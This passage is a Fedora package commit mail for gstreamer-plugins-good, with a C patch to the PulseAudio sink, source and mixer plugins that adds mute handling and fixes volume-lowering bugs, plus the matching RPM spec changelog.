-  GST_LOG_OBJECT (psink, "sample offset %" G_GINT64_FORMAT, pbuf->offset);
 
   for (;;) {
     pa_stream_state_t state;
@@ -697,20 +730,24 @@ gst_pulseringbuffer_acquire (GstRingBuffer * buf, GstRingBufferSpec * spec)
     pa_threaded_mainloop_wait (psink->mainloop);
   }
 
+  /* After we passed the volume off of to PA we never want to set it
+     again, since it is PA's job to save/restore volumes.  */
+  psink->volume_set = psink->mute_set = FALSE;
+
   GST_LOG_OBJECT (psink, "stream is acquired now");
 
   /* get the actual buffering properties now */
-  buf_attr_ptr = pa_stream_get_buffer_attr (pbuf->stream);
+  actual = pa_stream_get_buffer_attr (pbuf->stream);
 
-  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", buf_attr_ptr->tlength,
-      buf_attr.tlength);
-  GST_INFO_OBJECT (psink, "maxlength: %d", buf_attr_ptr->maxlength);
-  GST_INFO_OBJECT (psink, "prebuf:    %d", buf_attr_ptr->prebuf);
-  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
-      buf_attr.minreq);
+  GST_INFO_OBJECT (psink, "tlength:   %d (wanted: %d)", actual->tlength,
+      wanted.tlength);
+  GST_INFO_OBJECT (psink, "maxlength: %d", actual->maxlength);
+  GST_INFO_OBJECT (psink, "prebuf:    %d", actual->prebuf);
+  GST_INFO_OBJECT (psink, "minreq:    %d (wanted %d)", actual->minreq,
+      wanted.minreq);
 
-  spec->segsize = buf_attr_ptr->minreq;
-  spec->segtotal = buf_attr_ptr->tlength / spec->segsize;
+  spec->segsize = actual->minreq;
+  spec->segtotal = actual->tlength / spec->segsize;
 
   pa_threaded_mainloop_unlock (psink->mainloop);
 
@@ -1096,8 +1133,10 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
   psink = GST_PULSESINK_CAST (GST_OBJECT_PARENT (pbuf));
 
   /* FIXME post message rather than using a signal (as mixer interface) */
-  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0))
+  if (g_atomic_int_compare_and_exchange (&psink->notify, 1, 0)) {
     g_object_notify (G_OBJECT (psink), "volume");
+    g_object_notify (G_OBJECT (psink), "mute");
+  }
 
   /* make sure the ringbuffer is started */
   if (G_UNLIKELY (g_atomic_int_get (&buf->state) !=
@@ -1139,21 +1178,8 @@ gst_pulseringbuffer_commit (GstRingBuffer * buf, guint64 * sample,
   if (pbuf->paused)
     goto was_paused;
 
-  /* correct for sample offset against the internal clock */
-  offset = *sample;
-  if (pbuf->offset >= 0) {
-    if (offset > pbuf->offset)
-      offset -= pbuf->offset;
-    else
-      offset = 0;
-  } else {
-    if (offset > -pbuf->offset)
-      offset += pbuf->offset;
-    else
-      offset = 0;
-  }
   /* offset is in bytes */
-  offset *= bps;
+  offset = *sample * bps;
 
   while (*toprocess > 0) {
     size_t avail;
@@ -1375,6 +1401,13 @@ gst_pulsesink_init_interfaces (GType type)
     NULL,
     NULL,
   };
+#if HAVE_PULSE_0_9_12
+  static const GInterfaceInfo svol_iface_info = {
+    NULL, NULL, NULL
+  };
+
+  g_type_add_interface_static (type, GST_TYPE_STREAM_VOLUME, &svol_iface_info);
+#endif
 
   g_type_add_interface_static (type, GST_TYPE_IMPLEMENTS_INTERFACE,
       &implements_iface_info);
@@ -1498,7 +1531,12 @@ gst_pulsesink_class_init (GstPulseSinkClass * klass)
   g_object_class_install_property (gobject_class,
       PROP_VOLUME,
       g_param_spec_double ("volume", "Volume",
-          "Volume of this stream, 1.0=100%", 0.0, MAX_VOLUME, DEFAULT_VOLUME,
+          "Linear volume of this stream, 1.0=100%", 0.0, MAX_VOLUME,
+          DEFAULT_VOLUME, G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
+  g_object_class_install_property (gobject_class,
+      PROP_MUTE,
+      g_param_spec_boolean ("mute", "Mute",
+          "Mute state of this stream", DEFAULT_MUTE,
           G_PARAM_READWRITE | G_PARAM_STATIC_STRINGS));
 #endif
 }
@@ -1554,9 +1592,12 @@ gst_pulsesink_init (GstPulseSink * pulsesink, GstPulseSinkClass * klass)
   pulsesink->device = NULL;
   pulsesink->device_description = NULL;
 
-  pulsesink->volume = 1.0;
+  pulsesink->volume = DEFAULT_VOLUME;
   pulsesink->volume_set = FALSE;
 
+  pulsesink->mute = DEFAULT_MUTE;
+  pulsesink->mute_set = FALSE;
+
   pulsesink->notify = 0;
 
   /* needed for conditional execution */
@@ -1617,9 +1658,6 @@ gst_pulsesink_set_volume (GstPulseSink * psink, gdouble volume)
 
   GST_DEBUG_OBJECT (psink, "setting volume to %f", volume);
 
-  psink->volume = volume;
-  psink->volume_set = TRUE;
-
   pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
   if (pbuf == NULL || pbuf->stream == NULL)
     goto no_buffer;
@@ -1646,6 +1684,9 @@ unlock:
   /* ERRORS */
 no_buffer:
   {
+    psink->volume = volume;
+    psink->volume_set = TRUE;
+
     GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
     goto unlock;
   }
@@ -1664,6 +1705,61 @@ volume_failed:
 }
 
 static void
+gst_pulsesink_set_mute (GstPulseSink * psink, gboolean mute)
+{
+  pa_operation *o = NULL;
+  GstPulseRingBuffer *pbuf;
+  uint32_t idx;
+
+  pa_threaded_mainloop_lock (psink->mainloop);
+
+  GST_DEBUG_OBJECT (psink, "setting mute state to %d", mute);
+
+  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
+  if (pbuf == NULL || pbuf->stream == NULL)
+    goto no_buffer;
+
+  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
+    goto no_index;
+
+  if (!(o = pa_context_set_sink_input_mute (pbuf->context, idx,
+              mute, NULL, NULL)))
+    goto mute_failed;
+
+  /* We don't really care about the result of this call */
+unlock:
+
+  if (o)
+    pa_operation_unref (o);
+
+  pa_threaded_mainloop_unlock (psink->mainloop);
+
+  return;
+
+  /* ERRORS */
+no_buffer:
+  {
+    psink->mute = mute;
+    psink->mute_set = TRUE;
+
+    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
+    goto unlock;
+  }
+no_index:
+  {
+    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
+    goto unlock;
+  }
+mute_failed:
+  {
+    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
+        ("pa_stream_set_sink_input_mute() failed: %s",
+            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
+    goto unlock;
+  }
+}
+
+static void
 gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
     int eol, void *userdata)
 {
@@ -1682,8 +1778,10 @@ gst_pulsesink_sink_input_info_cb (pa_context * c, const pa_sink_input_info * i,
   /* If the index doesn't match our current stream,
    * it implies we just recreated the stream (caps change)
    */
-  if (i->index == pa_stream_get_index (pbuf->stream))
+  if (i->index == pa_stream_get_index (pbuf->stream)) {
     psink->volume = pa_sw_volume_to_linear (pa_cvolume_max (&i->volume));
+    psink->mute = i->mute;
+  }
 
 done:
   pa_threaded_mainloop_signal (psink->mainloop, 0);
@@ -1694,7 +1792,7 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
 {
   GstPulseRingBuffer *pbuf;
   pa_operation *o = NULL;
-  gdouble v;
+  gdouble v = DEFAULT_VOLUME;
   uint32_t idx;
 
   pa_threaded_mainloop_lock (psink->mainloop);
@@ -1716,11 +1814,12 @@ gst_pulsesink_get_volume (GstPulseSink * psink)
       goto unlock;
   }
 
+  v = psink->volume;
+
 unlock:
   if (o)
     pa_operation_unref (o);
 
-  v = psink->volume;
   pa_threaded_mainloop_unlock (psink->mainloop);
 
   if (v > MAX_VOLUME) {
@@ -1749,6 +1848,63 @@ info_failed:
     goto unlock;
   }
 }
+
+static gboolean
+gst_pulsesink_get_mute (GstPulseSink * psink)
+{
+  GstPulseRingBuffer *pbuf;
+  pa_operation *o = NULL;
+  uint32_t idx;
+  gboolean mute = FALSE;
+
+  pa_threaded_mainloop_lock (psink->mainloop);
+
+  pbuf = GST_PULSERING_BUFFER_CAST (GST_BASE_AUDIO_SINK (psink)->ringbuffer);
+  if (pbuf == NULL || pbuf->stream == NULL)
+    goto no_buffer;
+
+  if ((idx = pa_stream_get_index (pbuf->stream)) == PA_INVALID_INDEX)
+    goto no_index;
+
+  if (!(o = pa_context_get_sink_input_info (pbuf->context, idx,
+              gst_pulsesink_sink_input_info_cb, pbuf)))
+    goto info_failed;
+
+  while (pa_operation_get_state (o) == PA_OPERATION_RUNNING) {
+    pa_threaded_mainloop_wait (psink->mainloop);
+    if (gst_pulsering_is_dead (psink, pbuf))
+      goto unlock;
+  }
+
+  mute = psink->mute;
+
+unlock:
+  if (o)
+    pa_operation_unref (o);
+
+  pa_threaded_mainloop_unlock (psink->mainloop);
+
+  return mute;
+
+  /* ERRORS */
+no_buffer:
+  {
+    GST_DEBUG_OBJECT (psink, "we have no ringbuffer");
+    goto unlock;
+  }
+no_index:
+  {
+    GST_DEBUG_OBJECT (psink, "we don't have a stream index");
+    goto unlock;
+  }
+info_failed:
+  {
+    GST_ELEMENT_ERROR (psink, RESOURCE, FAILED,
+        ("pa_context_get_sink_input_info() failed: %s",
+            pa_strerror (pa_context_errno (pbuf->context))), (NULL));
+    goto unlock;
+  }
+}
 #endif
 
 static void
@@ -1844,6 +2000,9 @@ gst_pulsesink_set_property (GObject * object,
     case PROP_VOLUME:
       gst_pulsesink_set_volume (pulsesink, g_value_get_double (value));
       break;
+    case PROP_MUTE:
+      gst_pulsesink_set_mute (pulsesink, g_value_get_boolean (value));
+      break;
 #endif
     default:
       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
@@ -1872,6 +2031,9 @@ gst_pulsesink_get_property (GObject * object,
     case PROP_VOLUME:
       g_value_set_double (value, gst_pulsesink_get_volume (pulsesink));
       break;
+    case PROP_MUTE:
+      g_value_set_boolean (value, gst_pulsesink_get_mute (pulsesink));
+      break;
 #endif
     default:
       G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
@@ -1927,6 +2089,10 @@ gst_pulsesink_change_props (GstPulseSink * psink, GstTagList * l)
 {
   static const gchar *const map[] = {
     GST_TAG_TITLE, PA_PROP_MEDIA_TITLE,
+
+    /* might get overriden in the next iteration by GST_TAG_ARTIST */
+    GST_TAG_PERFORMER, PA_PROP_MEDIA_ARTIST,
+
     GST_TAG_ARTIST, PA_PROP_MEDIA_ARTIST,
     GST_TAG_LANGUAGE_CODE, PA_PROP_MEDIA_LANGUAGE,
     GST_TAG_LOCATION, PA_PROP_MEDIA_FILENAME,
@@ -2015,9 +2181,12 @@ gst_pulsesink_event (GstBaseSink * sink, GstEvent * event)
       gst_tag_list_get_string (l, GST_TAG_LOCATION, &location);
       gst_tag_list_get_string (l, GST_TAG_DESCRIPTION, &description);
 
+      if (!artist)
+        gst_tag_list_get_string (l, GST_TAG_PERFORMER, &artist);
+
       if (title && artist)
         t = buf =
-            g_strdup_printf ("'%s' by '%s'", g_strstrip (title),
+            g_strdup_printf (_("'%s' by '%s'"), g_strstrip (title),
             g_strstrip (artist));
       else if (title)
         t = g_strstrip (title);
diff --git a/ext/pulse/pulsesink.h b/ext/pulse/pulsesink.h
index 8db3cbd..ae0ad95 100644
--- a/ext/pulse/pulsesink.h
+++ b/ext/pulse/pulsesink.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -60,12 +62,16 @@ struct _GstPulseSink
   GstPulseProbe *probe;
 
   gdouble volume;
-  gboolean volume_set;
-  gint notify;
-  
+  gboolean volume_set:1;
+  gboolean mute:1;
+  gboolean mute_set:1;
+
+  gboolean pa_defer_ran:1;
+
+  gint notify; /* atomic */
+
   const gchar *pa_version;
 
-  gboolean pa_defer_ran;
 };
 
 struct _GstPulseSinkClass
diff --git a/ext/pulse/pulsesrc.c b/ext/pulse/pulsesrc.c
index fa60345..d53acf8 100644
--- a/ext/pulse/pulsesrc.c
+++ b/ext/pulse/pulsesrc.c
@@ -528,6 +528,11 @@ gst_pulsesrc_stream_latency_update_cb (pa_stream * s, void *userdata)
 
   info = pa_stream_get_timing_info (s);
 
+  if (!info) {
+    GST_LOG_OBJECT (GST_PULSESRC_CAST (userdata),
+        "latency update (information unknown)");
+    return;
+  }
 #if HAVE_PULSE_0_9_11
   source_usec = info->configured_source_usec;
 #else
@@ -945,25 +950,25 @@ no_nego_needed:
 static gboolean
 gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
 {
-  pa_buffer_attr buf_attr;
-  const pa_buffer_attr *buf_attr_ptr;
+  pa_buffer_attr wanted;
+  const pa_buffer_attr *actual;
   GstPulseSrc *pulsesrc = GST_PULSESRC_CAST (asrc);
 
   pa_threaded_mainloop_lock (pulsesrc->mainloop);
 
-  buf_attr.maxlength = -1;
-  buf_attr.tlength = -1;
-  buf_attr.prebuf = 0;
-  buf_attr.minreq = -1;
-  buf_attr.fragsize = spec->segsize;
+  wanted.maxlength = -1;
+  wanted.tlength = -1;
+  wanted.prebuf = 0;
+  wanted.minreq = -1;
+  wanted.fragsize = spec->segsize;
 
-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr.maxlength);
-  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", buf_attr.tlength);
-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr.prebuf);
-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", buf_attr.minreq);
-  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", buf_attr.fragsize);
+  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", wanted.maxlength);
+  GST_INFO_OBJECT (pulsesrc, "tlength:   %d", wanted.tlength);
+  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", wanted.prebuf);
+  GST_INFO_OBJECT (pulsesrc, "minreq:    %d", wanted.minreq);
+  GST_INFO_OBJECT (pulsesrc, "fragsize:  %d", wanted.fragsize);
 
-  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &buf_attr,
+  if (pa_stream_connect_record (pulsesrc->stream, pulsesrc->device, &wanted,
           PA_STREAM_INTERPOLATE_TIMING |
           PA_STREAM_AUTO_TIMING_UPDATE | PA_STREAM_NOT_MONOTONOUS |
 #if HAVE_PULSE_0_9_11
@@ -998,20 +1003,23 @@ gst_pulsesrc_prepare (GstAudioSrc * asrc, GstRingBufferSpec * spec)
   }
 
   /* get the actual buffering properties now */
-  buf_attr_ptr = pa_stream_get_buffer_attr (pulsesrc->stream);
+  actual = pa_stream_get_buffer_attr (pulsesrc->stream);
 
-  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", buf_attr_ptr->maxlength);
+  GST_INFO_OBJECT (pulsesrc, "maxlength: %d", actual->maxlength);
   GST_INFO_OBJECT (pulsesrc, "tlength:   %d (wanted: %d)",
-      buf_attr_ptr->tlength, buf_attr.tlength);
-  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", buf_attr_ptr->prebuf);
-  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", buf_attr_ptr->minreq,
-      buf_attr.minreq);
+      actual->tlength, wanted.tlength);
+  GST_INFO_OBJECT (pulsesrc, "prebuf:    %d", actual->prebuf);
+  GST_INFO_OBJECT (pulsesrc, "minreq:    %d (wanted %d)", actual->minreq,
+      wanted.minreq);
   GST_INFO_OBJECT (pulsesrc, "fragsize:  %d (wanted %d)",
-      buf_attr_ptr->fragsize, buf_attr.fragsize);
+      actual->fragsize, wanted.fragsize);
 
-  /* adjust latency again */
-  spec->segsize = buf_attr_ptr->fragsize;
-  spec->segtotal = buf_attr_ptr->maxlength / spec->segsize;
+  if (actual->fragsize >= wanted.fragsize) {
+    spec->segsize = actual->fragsize;
+  } else {
+    spec->segsize = actual->fragsize * (wanted.fragsize / actual->fragsize);
+  }
+  spec->segtotal = actual->maxlength / spec->segsize;
 
   pa_threaded_mainloop_unlock (pulsesrc->mainloop);
 
diff --git a/ext/pulse/pulsesrc.h b/ext/pulse/pulsesrc.h
index 2358eba..be89434 100644
--- a/ext/pulse/pulsesrc.h
+++ b/ext/pulse/pulsesrc.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -70,10 +72,10 @@ struct _GstPulseSrc
   GstPulseMixerCtrl *mixer;
   GstPulseProbe *probe;
 
-  gboolean corked;
-  gboolean operation_success;
-  gboolean paused;
-  gboolean in_read;
+  gboolean corked:1;
+  gboolean operation_success:1;
+  gboolean paused:1;
+  gboolean in_read:1;
 };
 
 struct _GstPulseSrcClass


Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-12/gstreamer-plugins-good.spec,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- gstreamer-plugins-good.spec	16 Oct 2009 10:10:29 -0000	1.104
+++ gstreamer-plugins-good.spec	17 Oct 2009 01:33:41 -0000	1.105
@@ -6,7 +6,7 @@
 
 Name: 		%{gstreamer}-plugins-good
 Version: 	0.10.16
-Release:  	2%{?dist}
+Release:  	3%{?dist}
 Summary: 	GStreamer plug-ins with good code and licensing
 
 Group: 		Applications/Multimedia
@@ -73,6 +73,10 @@ BuildRequires: automake autoconf libtool
 Provides: gstreamer-plugins-farsight = 0.12.12-1
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
 
+# http://bugzilla.gnome.org/show_bug.cgi?id=595231
+# and many others
+Patch2: pulsesink-lowering-volumes.patch
+
 %description
 GStreamer is a streaming media framework, based on graphs of filters which
 operate on media data. Applications using this library can do anything
@@ -111,6 +115,7 @@ This is a dummy package to make gstreame
 %patch1 -p1 -b .autoconvert-caps
 libtoolize -f
 autoreconf
+%patch2 -p1 -b .volume-lowering
 
 %build
 
@@ -274,6 +279,9 @@ export GCONF_CONFIG_SOURCE=`gconftool-2 
 gconftool-2 --makefile-install-rule %{_sysconfdir}/gconf/schemas/gstreamer-%{majorminor}.schemas > /dev/null || :
 
 %changelog
+* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
+- Finally fix pulsesink volume lowering problems (#488532)
+
 * Fri Oct 16 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-2
 - Fix autoconvert caps negotiation
 



From hadess at fedoraproject.org  Sat Oct 17 01:51:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 17 Oct 2009 01:51:16 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/devel pulsesink-lowering-volumes.patch, 
	NONE, 1.1 gstreamer-plugins-good.spec, 1.104, 1.105
Message-ID: <20091017015116.3D19D11C029F@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29499

Modified Files:
	gstreamer-plugins-good.spec 
Added Files:
	pulsesink-lowering-volumes.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
- Finally fix pulsesink volume lowering problems (#488532)


pulsesink-lowering-volumes.patch:
 pulsemixer.c     |   14 +-
 pulsemixerctrl.c |   77 ++++++++------
 pulsemixerctrl.h |   13 +-
 pulseprobe.c     |   27 +++-
 pulseprobe.h     |   13 +-
 pulsesink.c      |  299 +++++++++++++++++++++++++++++++++++++++++++------------
 pulsesink.h      |   14 +-
 pulsesrc.c       |   54 +++++----
 pulsesrc.h       |   10 +
 9 files changed, 374 insertions(+), 147 deletions(-)

--- NEW FILE pulsesink-lowering-volumes.patch ---
diff --git a/ext/pulse/pulsemixer.c b/ext/pulse/pulsemixer.c
index 99d33ae..ab99c55 100644
--- a/ext/pulse/pulsemixer.c
+++ b/ext/pulse/pulsemixer.c
@@ -252,6 +252,7 @@ static GstStateChangeReturn
 gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
 {
   GstPulseMixer *this = GST_PULSEMIXER (element);
+  GstStateChangeReturn res;
 
   switch (transition) {
     case GST_STATE_CHANGE_NULL_TO_READY:
@@ -260,19 +261,22 @@ gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
             gst_pulsemixer_ctrl_new (G_OBJECT (this), this->server,
             this->device, GST_PULSEMIXER_UNKNOWN);
       break;
+    default:
+      ;
+  }
+
+  res = GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
+
+  switch (transition) {
     case GST_STATE_CHANGE_READY_TO_NULL:
       if (this->mixer) {
         gst_pulsemixer_ctrl_free (this->mixer);
         this->mixer = NULL;
       }
       break;
-
     default:
       ;
   }
 
-  if (GST_ELEMENT_CLASS (parent_class)->change_state)
-    return GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
-
-  return GST_STATE_CHANGE_SUCCESS;
+  return res;
 }
diff --git a/ext/pulse/pulsemixerctrl.c b/ext/pulse/pulsemixerctrl.c
index ae807c6..760bd3e 100644
--- a/ext/pulse/pulsemixerctrl.c
+++ b/ext/pulse/pulsemixerctrl.c
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -74,7 +76,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
   }
 
   if (!i && eol < 0) {
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     pa_threaded_mainloop_signal (c->mainloop, 0);
     return;
   }
@@ -89,7 +91,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
   c->index = i->index;
   c->channel_map = i->channel_map;
   c->volume = i->volume;
-  c->muted = i->mute;
+  c->muted = !!i->mute;
   c->type = GST_PULSEMIXER_SINK;
 
   if (c->track) {
@@ -100,7 +102,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
     c->track->flags = flags;
   }
 
-  c->operation_success = 1;
+  c->operation_success = TRUE;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
@@ -124,7 +126,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
   }
 
   if (!i && eol < 0) {
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     pa_threaded_mainloop_signal (c->mainloop, 0);
     return;
   }
@@ -139,7 +141,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
   c->index = i->index;
   c->channel_map = i->channel_map;
   c->volume = i->volume;
-  c->muted = i->mute;
+  c->muted = !!i->mute;
   c->type = GST_PULSEMIXER_SOURCE;
 
   if (c->track) {
@@ -150,7 +152,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
     c->track->flags = flags;
   }
 
-  c->operation_success = 1;
+  c->operation_success = TRUE;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
@@ -193,31 +195,40 @@ gst_pulsemixer_ctrl_success_cb (pa_context * context, int success,
 {
   GstPulseMixerCtrl *c = (GstPulseMixerCtrl *) userdata;
 
-  c->operation_success = success;
+  c->operation_success = !!success;
   pa_threaded_mainloop_signal (c->mainloop, 0);
 }
 
-#define CHECK_DEAD_GOTO(c, label) do { \
-if (!(c)->context || pa_context_get_state((c)->context) != PA_CONTEXT_READY) { \
-    GST_WARNING_OBJECT (c->object, "Not connected: %s", (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
-    goto label; \
-} \
-} while(0);
+#define CHECK_DEAD_GOTO(c, label)                                       \
+  G_STMT_START {                                                        \
+    if (!(c)->context ||                                                \
+        !PA_CONTEXT_IS_GOOD(pa_context_get_state((c)->context))) {      \
+      GST_WARNING_OBJECT ((c)->object, "Not connected: %s",             \
+                          (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
+      goto label;                                                       \
+    }                                                                   \
+  } G_STMT_END
 
 static gboolean
 gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
 {
   int e;
-  gchar *name = gst_pulse_client_name ();
+  gchar *name;
   pa_operation *o = NULL;
 
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "ctrl open");
+
   c->mainloop = pa_threaded_mainloop_new ();
-  g_assert (c->mainloop);
+  if (!c->mainloop)
+    return FALSE;
 
   e = pa_threaded_mainloop_start (c->mainloop);
-  g_assert (e == 0);
+  if (e < 0)
+    return FALSE;
+
+  name = gst_pulse_client_name ();
 
   pa_threaded_mainloop_lock (c->mainloop);
 
@@ -239,16 +250,12 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
   }
 
   /* Wait until the context is ready */
-  pa_threaded_mainloop_wait (c->mainloop);
-
-  if (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
-    GST_WARNING_OBJECT (c->object, "Failed to connect context: %s",
-        pa_strerror (pa_context_errno (c->context)));
-    goto unlock_and_fail;
+  while (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
+    CHECK_DEAD_GOTO (c, unlock_and_fail);
+    pa_threaded_mainloop_wait (c->mainloop);
   }
 
   /* Subscribe to events */
-
   if (!(o =
           pa_context_subscribe (c->context,
               PA_SUBSCRIPTION_MASK_SINK | PA_SUBSCRIPTION_MASK_SOURCE,
@@ -258,10 +265,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
     goto unlock_and_fail;
   }
 
-  c->operation_success = 0;
+  c->operation_success = FALSE;
   while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-    pa_threaded_mainloop_wait (c->mainloop);
     CHECK_DEAD_GOTO (c, unlock_and_fail);
+    pa_threaded_mainloop_wait (c->mainloop);
   }
 
   if (!c->operation_success) {
@@ -275,6 +282,7 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
   /* Get sink info */
 
   if (c->type == GST_PULSEMIXER_UNKNOWN || c->type == GST_PULSEMIXER_SINK) {
+    GST_WARNING_OBJECT (c->object, "Get info for '%s'", c->device);
     if (!(o =
             pa_context_get_sink_info_by_name (c->context, c->device,
                 gst_pulsemixer_ctrl_sink_info_cb, c))) {
@@ -283,10 +291,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-      pa_threaded_mainloop_wait (c->mainloop);
       CHECK_DEAD_GOTO (c, unlock_and_fail);
+      pa_threaded_mainloop_wait (c->mainloop);
     }
 
     pa_operation_unref (o);
@@ -309,10 +317,10 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
       goto unlock_and_fail;
     }
 
-    c->operation_success = 0;
+    c->operation_success = FALSE;
     while (pa_operation_get_state (o) != PA_OPERATION_DONE) {
-      pa_threaded_mainloop_wait (c->mainloop);
       CHECK_DEAD_GOTO (c, unlock_and_fail);
+      pa_threaded_mainloop_wait (c->mainloop);
     }
 
     pa_operation_unref (o);
@@ -353,6 +361,8 @@ gst_pulsemixer_ctrl_close (GstPulseMixerCtrl * c)
 {
   g_assert (c);
 
+  GST_DEBUG_OBJECT (c->object, "ctrl close");
+
   if (c->mainloop)
     pa_threaded_mainloop_stop (c->mainloop);
 
@@ -386,6 +396,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
 {
   GstPulseMixerCtrl *c = NULL;
 
+  GST_DEBUG_OBJECT (object, "new mixer ctrl for %s", device);
   c = g_new (GstPulseMixerCtrl, 1);
   c->object = g_object_ref (object);
   c->tracklist = NULL;
@@ -398,7 +409,7 @@ gst_pulsemixer_ctrl_new (GObject * object, const gchar * server,
 
   pa_cvolume_mute (&c->volume, PA_CHANNELS_MAX);
   pa_channel_map_init (&c->channel_map);
-  c->muted = 0;
+  c->muted = FALSE;
   c->index = PA_INVALID_INDEX;
   c->type = type;
   c->name = NULL;
@@ -464,10 +475,10 @@ gst_pulsemixer_ctrl_timeout_event (pa_mainloop_api * a, pa_time_event * e,
 
   if (c->update_mute) {
     if (c->type == GST_PULSEMIXER_SINK)
-      o = pa_context_set_sink_mute_by_index (c->context, c->index, !!c->muted,
+      o = pa_context_set_sink_mute_by_index (c->context, c->index, c->muted,
           NULL, NULL);
     else
-      o = pa_context_set_source_mute_by_index (c->context, c->index, !!c->muted,
+      o = pa_context_set_source_mute_by_index (c->context, c->index, c->muted,
           NULL, NULL);
 
     if (!o)
@@ -570,7 +581,7 @@ gst_pulsemixer_ctrl_set_mute (GstPulseMixerCtrl * c, GstMixerTrack * track,
 
   pa_threaded_mainloop_lock (c->mainloop);
 
-  c->muted = !!mute;
+  c->muted = mute;
   c->update_mute = TRUE;
 
   if (c->track) {
diff --git a/ext/pulse/pulsemixerctrl.h b/ext/pulse/pulsemixerctrl.h
index 0dbc139..e6b67ad 100644
--- a/ext/pulse/pulsemixerctrl.h
+++ b/ext/pulse/pulsemixerctrl.h
@@ -1,3 +1,5 @@
+/*-*- Mode: C; c-basic-offset: 2 -*-*/
+
 /*
  *  GStreamer pulseaudio plugin
  *
@@ -53,11 +55,17 @@ struct _GstPulseMixerCtrl
 
   gchar *name, *description;
   pa_channel_map channel_map;
+
   pa_cvolume volume;
-  int muted;
+  gboolean muted:1;
+
+  gboolean update_volume:1;
+  gboolean update_mute:1;
+
+  gboolean operation_success:1;
+
   guint32 index;
   GstPulseMixerType type;
-  int operation_success;
 
   GstMixerTrack *track;
 
@@ -66,7 +74,6 @@ struct _GstPulseMixerCtrl
   int outstandig_queries;
   int ignore_queries;
 
-  gboolean update_volume, update_mute;
 };
 
